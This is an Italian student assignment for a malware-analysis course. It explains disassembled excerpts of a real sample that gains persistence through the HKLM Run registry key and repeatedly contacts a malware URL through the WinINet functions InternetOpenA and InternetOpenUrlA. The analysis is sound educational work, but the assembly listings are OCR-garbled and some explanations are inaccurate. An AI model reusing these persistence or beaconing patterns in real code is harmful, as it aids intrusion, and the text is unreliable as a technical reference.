Consegna S11/L1

TRACCIA

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

TRACCIA

```
; samDesired
0040286F
           push
                                   ; ulOptions
00402871
           push
                   eax
00402872
                   offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
          push
                   HKEY_LOCAL_MACHINE ; hKey
00402877
           push
          call
                   esi; RegOpenKeyExW
0040287C
0040287E
          test
                   eax, eax
00402880
                   short loc 4028C5
          jnz
00402882
)0402882 loc_402882:
00402882
          lea
                   ecx, [esp+424h+Data]
00402886
          push
                                   ; lpString
                   ecx
00402887
                   bl, 1
          mov
00402889
          call
                   ds:lstrlenW
0040288F
                   edx, [eax+eax+2]
           lea
                                    ; cbData
00402893
                   edx
          push
                   edx, [esp+428h+hKey]
00402894
          mov
00402898
                   eax, [esp+428h+Data]
          lea
0040289C
                                   ; lpData
          push
                   eax
                                   ; dwType
0040289D
          push
0040289F
                                   ; Reserved
          push
004028A1
                   ecx, [esp+434h+ValueName]
          lea
                                   ; lpValueName
004028A8
          push
                   ecx
                                   ; hKey
004028A9
                   edx
          push
          call
                   ds:RegSetValueExW
004028AA
```

TRACCIA

```
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPV0ID)
                                                   ; DATA XREF: sub_401040+ECTo
.text:00401150 StartAddress
                            proc near
.text:00401150
                                    esi
                            push
                                    edi
.text:00401151
                            push
                                                   ; dwFlags
.text:00401152
                            push
                                    0
                                    0
                                                    ; lpszProxyBypass
.text:00401154
                            push
                                                    ; 1pszProxy
.text:00401156
                            push
                                                   ; dwAccessType
.text:00401158
                            push
                                    offset szagent ; "Internet Explorer 8.0"
.text:0040115A
                            push
.text:0040115F
                            call
                                    ds:InternetOpenA
                                    edi, ds:InternetOpenUrlA
.text:00401165
                             MOV
.text:0040116B
                                    esi, eax
                             MOV
.text:0040116D
.text:0040116D loc_40116D:
                                                   ; CODE XREF: StartAddress+301j
                                                   ; dwContext
.text:0040116D
                            push
                                    8
                                    80000000h
.text:0040116F
                            push
                                                    ; dwFlags
                                                     dwHeadersLength
.text:00401174
                            push
                                    0
                                                    ; lpszHeaders
.text:00401176
                            push
                                                   ; "http://www.malware12com
.text:00401178
                            push
                                    offset szUrl
                                                   ; hInternet
.text:0040117D
                            push
                                    esi
                            call
                                    edi ; InternetOpenUrlA
.text:0040117E
                                    short loc_40116D
.text:00401180
                             jmp
.text:00401180 StartAddress
                            endp
.text:00401180
tout - RRHR110A
```

SVOLGIMENTO

Come visto nella lezione di oggi andremo ad analizzare il codice a noi fornito per identificarne come ottiene la persistenza come richiesto dal primo punto della traccia.

Nella prima immagine della traccia possiamo individuare come il malware ottiene la persistenza nel sistema dalle prime **5 righe**.

Come come abbiamo già visto in questi giorni nelle prime due righe viene creato lo stack con push ed il relativo registro "eax", nella terza riga vediamo come grazie >0402880 ad "offset" la sottochiave viene inserita direttamente nel percorso del sistema operativo. In riga cinque abbiamo la funzione "RegOpenKeyExw" che permette di aprire una chiave per modificarla, chiave che troviamo in riga quattro dove "HKEY_LOCAL_MACHINE" sarà la sezione avente la configurazione della macchina che andrà a modificare.

```
0040286F
                                      samDesired
           push
00402871
           push
                                      ulOptions
00402872
                                      "Software\\Microsoft\\Windows\\CurrentVersion\\Run'
                   HKEY_LOCAL_MACHINE; hKey
00402877
           push
                   esi; RegOpenKeyExW
0040287C
           call
0040287E
                   short loc_4028C5
00402882
)0402882 loc_402882:
                   ecx, [esp+424h+Data]
00402882
00402886
                                    ; lpString
                   ecx
00402887
                   bl. 1
00402889
                   ds:lstrlenW
0040288F
                   edx, [eax+eax+2]
00402893
                                    ; cbData
00402894
                        [esp+428h+hKey]
00402898
                        [esp+428h+Data]
0040289C
0040289D
           push
                                      dwType
0040289F
           push
004028A1
                   ecx, [esp+434h+ValueName]
004028A8
                                    ; lpValueName
           push
                                    ; hKey
004028A9
           push
004028AA
```

SVOLGIMENTO

Per il secondo punto della consegna di oggi identificheremo il client software che il malware utilizza per connettersi ad internet.

Possiamo notare da questa slide, nel rettangolo rosso, come la funzione "call ds:InternetOpenA" chiami appunto una connessione ad internet,

nella riga sopra infatti la funzione "push offset szAgent" redirige il percorso a "Internet Explorer 8.o". Possiamo quindi dedurre che il malware utilizzerà Internet Explorer per la connettività.

Le seguenti funzioni "mov" non fanno altro che copiare il risultato della funzione in dei registri creati in precedenza.

```
.text:00401150 ; ||||||||||| S U B R O U T I N E ||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress
                                proc near
                                                         ; DATA XREF: sub 401040+ECTo
.text:00401150
                                push
                                        esi
.text:00401151
                                push
                                        edi
.text:00401152
                                                          dwFlags
                                push
.text:00401154
                                                         ; lpszProxyBypass
                                push
.text:00401156
                                push
                                                         ; lpszProxy
.text:00401158
                                                         ; dwAccessType
                                push
.text:0040115A
                                        offset szAgent ;
                                                           "Internet Explorer 8.0"
                                push
                                        ds:InternetOpenA
.text:0040115F
                                call
.text:00401165
                                        edi, ds:InternetOpenUrlA
                                mov
.text:0040116B
                                MOV
                                        esi, eax
.text:0040116D
                                                         ; CODE XREF: StartAddress+301j
.text:0040116D loc 40116D:
.text:0040116D
                                                           dwContext
                                push
                                        80000000h
.text:0040116F
                                                           dwFlags
                                push
                                                           dwHeadersLength
.text:00401174
                                push
.text:00401176
                                push
                                                           1pszHeaders
                                        offset szUrl
                                                          "http://www.malware12com
.text:00401178
                                push
                                        esi
                                                         ; hInternet
.text:0040117D
                                push
                                call
                                        edi ; InternetOpenUrlA
.text:0040117E
                                        short loc 40116D
.text:00401180
.text:00401180 StartAddress
.text:00401180
```

SVOLGIMENTO

Al terzo punto della traccia rimaniamo nella stessa parte di codice e continuando a leggere noteremo nuovamente la funzione "push offset" che questa volta indirizzerà il sistema nell'URL malevolo, dove leggiamo "http://www.malware12.com".

La chiamata alla funzione che gli permette di fare ciò, come nel caso precedente, è la funzione **call** dove possiamo vedere è stata copiata in precedenza la funzione dal registro "**ds**" a quello "**edi**" utilizzato questa volta.

```
.text:00401150 ;
                .text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress
                                                     ; DATA XREF: sub 401040+ECTo
                              proc near
.text:00401150
                              push
                                      esi
.text:00401151
                                      edi
                              push
.text:00401152
                              push
                                                      ; dwFlags
                                                      ; lpszProxyBypass
.text:00401154
                              push
.text:00401156
                                                      ; lpszProxy
                              push
.text:00401158
                                                       dwAccessType
                              push
.text:0040115A
                                      offset szAgent :
                                                       "Internet Explorer 8.0"
                              push
.text:0040115F
                              call
                                      ds:InternetOpenA
                                      edi, ds:InternetOpenUrlA
.text:00401165
                              mov
.text:0040116B
                              mov
                                      esi, eax
.text:0040116D
                                                      ; CODE XREF: StartAddress+301j
.text:0040116D loc 40116D:
.text:0040116D
                                                       dwContext
                              push
                                      80000000h
.text:0040116F
                                                       dwFlags
                              push
.text:00401174
                                                       dwHeadersLength
                              push
.text:00401176
                              push
                                                      ; lpszHeaders
                                      offset szUrl
                                                      ; "http://www.malware12com
.text:00401178
                              push
                                      esi
.text:0040117D
                              push
                                                      ; hInternet
.text:0040117E
                              call
                                      edi ; InternetOpenUrlA
.text:00401180
                              jmp
                                      short loc 40116D
.text:00401180 StartAddress
.text:00401180
```